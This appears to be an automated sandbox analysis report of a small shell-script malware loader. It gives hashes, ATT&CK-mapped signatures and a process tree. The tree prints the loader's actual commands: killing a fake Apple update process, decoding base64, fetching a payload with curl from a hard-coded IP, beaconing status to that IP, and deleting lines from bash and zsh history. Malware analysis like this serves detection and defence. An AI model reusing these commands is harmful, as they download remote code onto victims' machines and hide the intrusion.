62f8864271c69a990cd3bbb9369b452923b1a85d2b956b4058c33fd94c906c60

Analysis

max time kernel
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/08/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d657b8d5cb
Size 4KB
Sample260811-pla4aadr8v
SHA256 62f8864271c69a990cd3bbb9369b452923b1a85d2b956b4058c33fd94c906c60
MD5 bec6ff96721285e7c61fbbed3e231aea
SHA1 d5cea0feace6211294a41bf41eae01d723cb162d
SHA512 18aa6508979941759752f2c8e9ce0ae3b6965ac661214a9309fc9234aa2c5db68592954dddfcdd59a823cb0b1519af71df2b7c192d03a1e429740fdcf3b1aebc
SSDEEP 96:+O1T2f/kx9rzfauc1icpRFadIbDJXDOzpdkO:n8kjKF1NDpSd9
TLSH
T178A100E2E8A076317A4C00BE759C50006A9F5C3F87F979A58542FD29557E85CB27C23A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
703	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
689	base64

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/637/cmdline	pkill
File opened for reading	/proc/138/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/325/cmdline	pkill
File opened for reading	/proc/644/cmdline	pkill
File opened for reading	/proc/295/cmdline	pkill
File opened for reading	/proc/593/cmdline	pkill
File opened for reading	/proc/636/status	pkill
File opened for reading	/proc/645/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/98/cmdline	pkill
File opened for reading	/proc/292/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/321/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/677/status	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/98/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/640/status	pkill
File opened for reading	/proc/646/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/110/status	pkill
File opened for reading	/proc/138/status	pkill
File opened for reading	/proc/308/cmdline	pkill
File opened for reading	/proc/644/status	pkill
File opened for reading	/proc/650/cmdline	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/657/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/170/cmdline	pkill
File opened for reading	/proc/647/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/107/status	pkill
File opened for reading	/proc/293/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/208/status	pkill
File opened for reading	/proc/646/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/231/cmdline	pkill
File opened for reading	/proc/289/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/579/status	pkill
File opened for reading	/proc/594/cmdline	pkill

/tmp/d657b8d5cb
/tmp/d657b8d5cb
1⤵
PID:647
- /usr/bin/whoami
  whoami
  2⤵
  PID:660
- /bin/mktemp
  mktemp -d
  2⤵
  PID:669
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.frameworks
  2⤵
  PID:672
- /usr/bin/head
  head -c 32
  2⤵
  PID:676
- /usr/bin/pkill
  pkill -9 -f com.apple.update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:677
- /bin/sleep
  sleep 0.3
  2⤵
  PID:682
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:686
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:689
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:691
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:693
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:692
- /bin/uname
  uname -m
  2⤵
  PID:695
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"4f52e290814b961d\",\"src\":\"http://185.173.147.153/4adc82c51956cd?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:694
- /usr/bin/head
  head -1
  2⤵
  PID:698
- /usr/bin/wc
  wc -c
  2⤵
  PID:699
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:701
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://185.173.147.153/f422ff057d106c?force=1" -o /tmp/tmp.ZgWwkcRgSE/.gRXp2j
  2⤵
  - Checks CPU configuration
  PID:702
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:703
- /bin/uname
  uname -r
  2⤵
  PID:705
- /bin/rm
  rm -rf /tmp/tmp.ZgWwkcRgSE
  2⤵
  PID:707
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"4f52e290814b961d\",\"src\":\"http://185.173.147.153/4adc82c51956cd?force=1\"}" -m 3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:706